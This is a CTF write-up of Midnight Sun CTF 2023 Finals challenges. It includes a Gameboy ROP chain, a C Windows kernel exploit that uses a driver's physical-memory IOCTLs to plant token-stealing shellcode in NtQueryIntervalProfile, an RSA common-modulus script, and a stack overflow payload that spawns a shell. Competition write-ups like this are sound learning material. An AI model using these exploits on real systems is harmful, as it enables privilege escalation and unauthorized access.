The Finals of Midnight Sun CTF 2023 was held in August 19th and 20th in Stockholm, Sweden. I played the CTF as a member of TokyoWesterns and we stood 2nd place.
Midnight Sun this year had both CTF and conference.
The hotel and venue this year was great. Both were very close to the station :+1:
The challenge files and my solvers are available here:
[Pwn] guessboy
Guessboy is a gameboy pwn challenge. We're distributed a gameboy ROM file. Once we solve the challenge, we need to call the organizer to get the physical gameboy which contains the real flag.
The game is not actually a game, but looks like a calculator:
Actually I saw a similar challenge in Midnight Sun CTF 2019 Finals, which I couldn't solve at the time. According to the challenge author, however, the exploit of the challenge is different this time.
Still, I remembered the vulnerability was stack buffer overflow. The same bug exists in this challenge.
The result of a calculation is pushed to the stack. If we hit the equals (=) key, the result is pushed to the stack and the stack top increments (decrements in the memory stack). Since there is no limit on the stack top, we can easily overflow the buffer. However, you will get a crash message if you randomly overflow the buffer.
So, there is a stack canary. The stack canary is a fixed value and you can analyse the ROM to get the correct value: 0x5858. This value is also the same as that of 2019.
The pwn part is over. The remaining part is reversing. Since we don't know where is the flag, we don't know what to do. @n4nu reversed the binary and guessed that:
- There is a function that draws a scrambled flag on the display.
- The flag image exists in tiles.
- The flag is scrambled because of a wrong argument passed to the draw function.
We had to load the tiles and draw it with a right parameter. Here is the ROP chain to accomplish it:
22616 = = = = = = = = = C ; stack canary (0x5858) 20450 = C ; func1 (0x4fe2) 10596 = C ; skip (0x2964) 65280 = C ; arg1 (0xff00) 7330 = C ; arg2 (0x1ca2) 20699 = C ; func2 (0x50db) 464 = C ; loop (0x1d0) 0 = C ; arg1 (0x0) 4628 = C ; arg2 (0x1214) 6970 = Q ; arg3 (0x1b3a)
[Pwn] HFSAntiCheat
A vagrant environment, Windows kernel driver, and client to submit the exploit are given. It was the first time to solve Windows kernel challenge in a CTF. I leaned a lot but also wasted a lot of time because of the different behavior between vagrant and my virtual box :cry:
While I was absent for 1v1pwn, @n4nu finished analysing the binary. The driver registers a device and a notifier routine for process creation.
When a process is created with its name set to "CHEAT", the driver checks if the PE imports some blacklisted Windows APIs. However, this routine was not related to the exploit at all.
The important feature is the device I/O control. The driver accepts two requests that directly reads from and writes to the physical memory. We have full control over the entire physical memory.
My first idea was:
- Leak the base address of
ntoskrnl.exe
. - Read the pointer at
HalDispatchTable+0x8
, which points toNtQueryIntervalProfile
. - Overwrite the machine code of
NtQueryIntervalProfile
with our shellcode. - Call
NtQueryIntervalProfile
to escalate privilege.
It worked fine on my VirtualBox environment. However, it didn't work on the distributed vagrant environment. I wrote "virtual to physical" address converter but it didn't work well on vagrant. If anyone is familiar with page table, please check my exploit and tell me what is wrong.
Eventually I couldn't fix the bug, and I changed the exploit 1h before the end of the CTF:
- Search memory for the machine code of
NtQueryIntervalProfile
. - Overwrite the machine code with our shellcode.
- Call
NtQueryIntervalProfile
to escalate privilege.
I avoided searching memory because there was a 5-second time limit, and it is not usually stable. However, this is CTF. Faster solve is better than a beautiful exploit.
#define _CRT_SECURE_NO_WARNINGS #include <windows.h> #include <winioctl.h> #include <stdio.h> typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(ULONG ProfileSource, PULONG Interval); #define DRIVER_PATH "\\\\.\\HFSAntiCheat" #define CMD_READ 0x220004 #define CMD_WRITE 0x220008 const char shellcode[] = "\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48\x8b\x80\xb8\x00\x00\x00\x49\x89\xc0\x4d\x8b\x80\x48\x04\x00\x00\x49\x81\xe8\x48\x04\x00\x00\x41\x83\xb8\x40\x04\x00\x00\x04\x75\xe8\x49\x8b\x88\xb8\x04\x00\x00\x80\xe1\xf0\x48\x8b\x90\xb8\x04\x00\x00\x48\x83\xe2\x07\x48\x01\xd1\x48\x89\x88\xb8\x04\x00\x00\x31\xc0\xc3"; typedef struct { size_t size; void* buffer; void* address; } RWRequest; HANDLE hDevice; void *memmem(const void *haystack, size_t haystack_len, const void * const needle, const size_t needle_len) { for (const char *h = haystack; haystack_len >= needle_len; ++h, --haystack_len) { if (!memcmp(h, needle, needle_len)) return (void*)h; } return NULL; } int pm_read(void *dst, void* src, size_t size) { BOOL res; RWRequest req; DWORD s; req.size = size; req.buffer = dst; req.address = src; res = DeviceIoControl(hDevice, CMD_READ, &req, sizeof(req), NULL, 0, &s, (LPOVERLAPPED)NULL); if (!res) puts("[-] pm_read failed"); return res; } int pm_write(void* dst, void* src, size_t size) { BOOL res; RWRequest req; DWORD s; req.size = size; req.buffer = src; req.address = dst; res = DeviceIoControl(hDevice, CMD_WRITE, &req, sizeof(req), NULL, 0, &s, (LPOVERLAPPED)NULL); if (!res) puts("[-] pm_write failed"); return res; } int main(int argc, CHAR *argv[]) { unsigned long long buf[0x200]; DWORD size; _NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); puts("[+] Exploit..."); hDevice = CreateFileA(DRIVER_PATH, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (hDevice == INVALID_HANDLE_VALUE) { puts("Cannot open device"); return -1; } for (ssize_t i = 0x2000; i < 0x10000; i++) { pm_read(buf, (void*)(i*0x1000), 0x1000); if (memmem(buf, 0x1000, "\xC4\x48\x89\x45\x20\x4D\x8B\xF8", 8) != NULL) { char *p = memmem(buf, 0x1000, "\xC4\x48\x89\x45\x20\x4D\x8B\xF8", 8); size_t ofs = p - (char*)buf; size_t addr = i*0x1000 + ofs - 0x20; pm_read(buf, (void*)addr, 8); if (buf[0] == 0x4154415756535540) { printf("Found at %016llx: %016llx\n", addr, buf[0]); pm_write((void*)addr, (void*)shellcode, sizeof(shellcode)); } } } puts("[+] Go..."); fflush(stdout); Sleep(500); ULONG uInterval = 1337; NtQueryIntervalProfile(2, &uInterval); puts("[+] Done!"); DWORD s; char flag[0x100]; HANDLE hFile = CreateFile("C:\\Windows\\System32\\flag.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { puts("[-] Nope..."); } else { HANDLE hMapFile = CreateFileMapping( hFile, NULL, PAGE_READONLY, 0, 0, NULL ); LPVOID lpFileBase = MapViewOfFile( hMapFile, FILE_MAP_READ, 0, 0, 0 ); printf("[+] FLAG: %s\n", lpFileBase); } CloseHandle(hDevice); getchar(); return 0; }
I should've solved this challenge much faster...
[Crypto] speed-manifesto
This is a speed-run challenge. We had to solve speed-run challenges within 3rd blood to get advantage. 200 points for 1st blood, 150 for 2nd, 100 for 3rd, and 50 for the rest.
The distributed archive contains a lot of text files like this:
Public Exponent: 65537 Modulus: 8183083614123980651512525726265039763297170592399337374069708919926046325913623412792726783191923340532116587489748386113782581259412232424196738634940809 Ciphertext: b'(\xa6\xc0\xee\xb5\x9d\xd2\xc8\xe6\xa1\xb1\xcf:\x8b\xdcgx\xef\xb4\t\x7fvM@\xc8\x98\xbd\x80\xad\x13\x11\xeb\x97\xef\xc84\xd6|\x93E@\xeb\xc9\xf9\x0b\x86\xc7\x8bpKV\xe8\xa1\xa4&X\x14\\\x1a\xe3\x13\x8d\x8d6'
I guessed there would be modulus which uses the same prime. I wrote a script to take GCD of each modulus and found two files shared the same modulus with different Es.
Public Exponent: 81527149853274967867330281122861369134002594020874386569175070591393763589124283222257680735360206160019714178475186119840676412580184783642914952823718854196285068193471576875760518418570508606597801241354462995303092313113267959493950020688558073609011113475992265891863855436963447737070556709073024059749 Modulus: 105485909539302343682393765142198393869888400422595584344848080319220554344765142068633113057605072008120447995511459791164086717714452445525900872135444441922799547203637125587718326496756865379111734536835717969217501986460486866455030114291836448819270922526967276362623954616008938297593516881809069452459 Ciphertext: b"\x0c\x01\x8b\x84\x02P\x80_A\x1c|\x1f\xd7\xafP\xf7\x14\xb3\x1b\xb4\xcb\x90)\x1f\x1d/\xe0\\\x861Y]+7}\x97\xec\x9b^B\x1b\xc76\xc4 kb'\xaa\xda\xbf\x95\xeaP\x0b5\xb9Z\x7f\xe6C\xb2H.v\x18:ga\xee\xd7=}\xfb\xda\xbd\xee\xa8\x82\xf2\xc2\x1c6\\}\xd7\x005AW\xc0*hRNZ\x86\xfa\x80\xcb\t8\xbe9ad2}\x84\x82\xf2\x88h\x87\x85\xcb\x00E\xb4\xae\xb9\xd1\x15g\xbe\x18!\x8e"
Public Exponent: 90051294818134602141342465972381725307723336343068630953802954374926328987011486242807231248352006000143918922842329124501936958773012452561039323344339325165614434298436842264587505847772729164638758139465380776251275917722434711009950711165155879895556773415263339750741308013278846283398286170778381488987 Modulus: 105485909539302343682393765142198393869888400422595584344848080319220554344765142068633113057605072008120447995511459791164086717714452445525900872135444441922799547203637125587718326496756865379111734536835717969217501986460486866455030114291836448819270922526967276362623954616008938297593516881809069452459 Ciphertext: b'\x03[\xb4\xb0\x08\xde\x8b\xf9\xf4{\x04\xc8\x9c7\xc2\x84\x1f\x8e\xd4\xd0\x9f\xf4H\xe3(|\xbb\xf5N\xd9~\xbe\x13\xb8\xf5\x1a\xe8\xe21\xc2\xf2D\xb3D\x8a\n)\x14\xe2R\xad\x97\xbe\xcf\n\x1b\xf5I\xad\xf7s\x1d\xfbzq\x17\xa9\x80\xf0\xc6\xb0\x80y\xb9\x7f\xbe\xd0a~\xdf+:\xaa\x05=\xdb\x12"\xb5\x16\x1d\xb6\x12\xd5\xa5i\x9f\x19\xd3\xba\xc4\x11\x19\x9b\xd3\n\x81o\xc0\x9c\xcc\xebE{\xc5\x15\xdd\x92\xefq!h\xee\xb4\x16\x9a\xe4\xb5'
Common modulus attack.
from ptrlib import * import glob import re def solve(e1, e2, c1, c2, n): c1 = int.from_bytes(c1, "big") c2 = int.from_bytes(c2, "big") m = common_modulus_attack((c1, c2), (e1, e2), n) print(int.to_bytes(m, 128, "big").strip(b'\x00')) paths = [] es = [] ns = [] cs = [] for path in glob.glob("../distfiles/*.txt"): with open(path, "r") as f: r = re.findall(": (\d+)", f.readline()) e = int(r[0]) r = re.findall(": (\d+)", f.readline()) n = int(r[0]) r = re.findall(": (b.+)", f.readline()) c = eval(r[0]) for i, past_n in enumerate(ns): if gcd(past_n, n) != 1: print(path, paths[i]) e1, e2 = e, es[i] c1, c2 = c, cs[i] solve(e1, e2, c1, c2, n) es.append(e) ns.append(n) cs.append(c) paths.append(path)
2nd blood --> 150 points
[Pwn] speed-pwn
Yet another speedrun challenge.
The program runs the following command:
system("$PROG '<arbitrary string>'");
where $PROG
is set to /bin/echo
.
The input is vulnerable to stack buffer overflow.
My idea is to overwrite the array of environment variables with the pointer to "PROG=sh".
from ptrlib import * elf = ELF("../distfiles/speed5") sock = Socket("nc speed5.play.hfsc.tf 4321") sock.sendlineafter(":", b"B"*0x20) sock.sendlineafter(":", b"A"*0x10) payload = b"A" * 0x10 payload += b"PROG=sh \0" payload += b"A"*(0x30 - len(payload)) payload += b"BBBB" payload += b"CCCC" payload += p32(0x804c057) * 0x40 payload += p32(0) sock.sendlineafter(":", payload) sock.sendlineafter(":", "") sock.sh()
2nd blood --> 150 points